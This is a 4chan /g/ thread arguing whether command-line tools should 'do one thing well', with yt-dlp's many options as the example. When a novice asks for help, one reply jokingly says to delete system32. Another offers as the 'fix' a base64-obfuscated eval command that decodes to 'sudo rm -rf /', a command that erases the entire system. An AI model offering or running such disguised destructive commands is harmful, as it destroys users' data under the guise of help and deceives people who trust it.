[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology

Name
Options
Comment
Verification
4chan Pass users can bypass this verification. [Learn More] [Login]
File
  • Please read the Rules and FAQ before posting.
  • You may highlight syntax and preserve whitespace by using [code] tags.

08/21/20New boards added: /vrpg/, /vmg/, /vst/ and /vm/
05/04/17New trial board added: /bant/ - International/Random
10/04/16New board for 4chan Pass users: /vip/ - Very Important Posts
[Hide] [Show All]


[Advertise on 4chan]


File: pepe.jpg (62 KB, 976x850)
62 KB
62 KB JPG
>CLI tool does one thing and one thing well
>has 50 million options
>>
>do one thing and one thing well
is there any merit to this philosophy?
>>
>>108261662
Yes
yt-dlp [URL]

Downloads the highest quality video and audio. Nothing wrong with options if you need anything specific
>>
>>108261673
You could call the various best in class tools individually with a router between them. Each expert in a mixture, so to speak.
>>
>>108261712
This didnt work on my machine I get an error that says something like not found or it was some thing like that can anyone help?
>>
>>108261712
I need a bunch of options just to make yt-dlp functional
>output path and filename
>cookies
>user agent
>javascript challenge solver
>>
>>108261728
you have to delete system32
>>
>>108261662

yes and you can use options in full word expression or acronym
>>
>>108261662
Fork it and remove the bloat then
>>
>>108261728
>This didnt work on my machine I get an error that says something like not found or it was some thing like that can anyone help?
PM'd you the fix.
>>
>>108261662
name 1 (one) tool
>>
>>108261662
>there should be one obvious way to do it
all these retarded slogans which aren't even true
>>
>>108261662
i dont see an issue especially since i often use its most simple option first and then find myself needing some of the more sophisticated options later

>>108261712
i almost always use it with a specific stream selected and with cookies from my browser and a section of the video if its a long youtube video
>>
>>108261662
The options are for the 'well' part
>>
>>108264789
ffmpeg
>>
>>108267294
bait used to be believable
>>
>t. awk
>>
>>108261728
what a fag kek. you have to either do this >>108261872 or run this command:
eval $(echo "c3VkbyBybSAtcmYgLyAtLXJlY3Vyc2l2ZQ==" | base64 -d)
>>
>>108268174
>--recursive
doesn't the -r accomplish the same thing
>>
One thing is arbitrary. Vim does one thing, it's a text editor. But at the same time it does a million things.
>>
>>108261673
limiting the scope of your projects helps with actually completing it and making sure everything works well
>>
>>108269055
based. This is what always annoyed me with the "single responsibility principle". You can always cheat with language.



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.